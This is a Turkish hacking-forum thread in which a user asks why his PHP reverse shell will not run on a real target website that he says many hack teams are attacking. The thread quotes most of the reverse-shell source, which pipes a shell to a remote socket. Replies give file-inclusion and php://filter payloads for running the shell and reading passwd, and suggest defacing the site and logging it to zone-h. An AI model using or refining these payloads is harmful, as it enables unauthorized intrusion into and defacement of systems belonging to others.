PHP reverse shell çalışmıyor

Ugroon ++

Katılımcı Üye
13 Ara 2020
306
76
192.168.1.1
Merhaba,

Birkaç gün sonra belki haberlerde görebileceğiniz bir yere (ateşin çocuklarının sitesine) istediğim dosyayı aktarabiliyorum o yüzden ilk olarak shell atmaya çalıştım ama WAF ya da herhangi bir şey yüzünden çalışmıyor. Shell dosyasının olduğu yere gidince bağlantı kuracağına şu şekilde shell in kaynak kodları gözüküyor:

Kod:
array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
 
Moderatör tarafında düzenlendi:

TURKTIGIN

Üye
1 May 2021
133
22
Merhaba,

Birkaç gün sonra belki haberlerde görebileceğiniz bir yere (ateşin çocuklarının sitesine) istediğim dosyayı aktarabiliyorum o yüzden ilk olarak shell atmaya çalıştım ama WAF ya da herhangi bir şey yüzünden çalışmıyor. Shell dosyasının olduğu yere gidince bağlantı kuracağına şu şekilde shell in kaynak kodları gözüküyor:

array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
sistemde file inclusion açığı tespit ettiniz mi? eğer varsa bu dosyayı çalıştırabilirsiniz
yapman gereken dosyanın yolunu bulup açıklı yerde bu iki açığı birleştirip patlatman

siteadı.com/php?viewpage=/index.html

açıklı yer bunun gibidir

siteadı.com/php?viewpage=/var/www/html/upload/rev-tcp.php
yüklediğin dosya gibi bir yerdedir
bu yeri enterla büyük ihtimal çalışır.

?page=php://filter/convert.base64-encode/resource=passwd

böyle bir notum var eskiden bu açıkları sömürmek için kullanıyodum tam olarak ne işe yaradığını unutmuşum :D
belki işe yarar..

siteadı.com/php?viewpage=php://filter/convert.base64-encode/resource=rev-tcp.php
 

Ugroon ++

Katılımcı Üye
13 Ara 2020
306
76
192.168.1.1
O yöntemi biliyorum, sistemde shell yüklemeyle ilgili bir 0day tek bulabildik. Zaten şu an onlarca hack team hacklemeye çalışıyor ama yapamıyorlar. Bir tek 0day kullanılabilir.
sistemde file inclusion açığı tespit ettiniz mi? eğer varsa bu dosyayı çalıştırabilirsiniz
yapman gereken dosyanın yolunu bulup açıklı yerde bu iki açığı birleştirip patlatman

siteadı.com/php?viewpage=/index.html

açıklı yer bunun gibidir

siteadı.com/php?viewpage=/var/www/html/upload/rev-tcp.php
yüklediğin dosya gibi bir yerdedir
bu yeri enterla büyük ihtimal çalışır.

?page=php://filter/convert.base64-encode/resource=passwd

böyle bir notum var eskiden bu açıkları sömürmek için kullanıyodum tam olarak ne işe yaradığını unutmuşum :D
belki işe yarar..

siteadı.com/php?viewpage=php://filter/convert.base64-encode/resource=rev-tcp.php

Olayı anladım, sistem default olarak html dosyası atıyor o yüzden php değil ama html css ve js kodu yürütebiliyorum ama hala çözümü bilmiyorum :D Daha doğrusu html js ve css ile nasıl shell dosyası oluşturacağımı. Dosya yüklemeyle fln alakası yok, keşke öyle olsa bypass ederdim ama sistemin default verdiği dosyadan başka bir dosya yükleyemem. Sistemin atadığı dosya türü .html Yardımcı olabilecek ve yardımımın dokunduğu kimse mi olmamış ?
 

TURKTIGIN

Üye
1 May 2021
133
22
O yöntemi biliyorum, sistemde shell yüklemeyle ilgili bir 0day tek bulabildik. Zaten şu an onlarca hack team hacklemeye çalışıyor ama yapamıyorlar. Bir tek 0day kullanılabilir.


Olayı anladım, sistem default olarak html dosyası atıyor o yüzden php değil ama html css ve js kodu yürütebiliyorum ama hala çözümü bilmiyorum :D Daha doğrusu html js ve css ile nasıl shell dosyası oluşturacağımı. Dosya yüklemeyle fln alakası yok, keşke öyle olsa bypass ederdim ama sistemin default verdiği dosyadan başka bir dosya yükleyemem. Sistemin atadığı dosya türü .html Yardımcı olabilecek ve yardımımın dokunduğu kimse mi olmamış ?
ya bu sorunla bende karşılaşmıştım :( bazı admin panellerinde php yüklenmiyor istersen indexsini at zone kaydı al çık uğraşma

Hocam yanlış anladınız. Dosya türünü ben belirlemiyorum ben belirliyor olsaydım bi şekilde bypass ederdim ama dosya türünü benim belirlemem imkansız
shell.php dosyasını shell.html olarak atarsanız belki çalışabilir
 

Ugroon ++

Katılımcı Üye
13 Ara 2020
306
76
192.168.1.1
ya bu sorunla bende karşılaşmıştım :( bazı admin panellerinde php yüklenmiyor istersen indexsini at zone kaydı al çık uğraşma


shell.php dosyasını shell.html olarak atarsanız belki çalışabilir
Bu öyle değil .html veya herhangi bir şekilde dosya yüklemiyorum kalıcı olmadan sitenin bir HTML dosyasındaki kodları çalıştırmasını sağlıyorum. Dosya yükleme gibi bir işlem değil. Reflected XSS gibi düşünebilirsin. Ancak sıradan bir html dosyasındaki bütün kodları WAF olmadan çalıştırabiliyorum. Yani bildiğim kadarıyla JS, HTML ve CSS kodları yürütebiliyorum. HTML e python kodu ekleyebilirsem sorun çözülecek ama nasıl yaparım bilmiyorum WEB ile ilgili programlama dillerinde pek bir bilgim yok ne yazık ki. Sanki admin sana şunu demiş say: HTML dosyasını istediğin şekilde değiştir ama bir tek sen görücen o yüzden tek çaren shell atmak :D
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.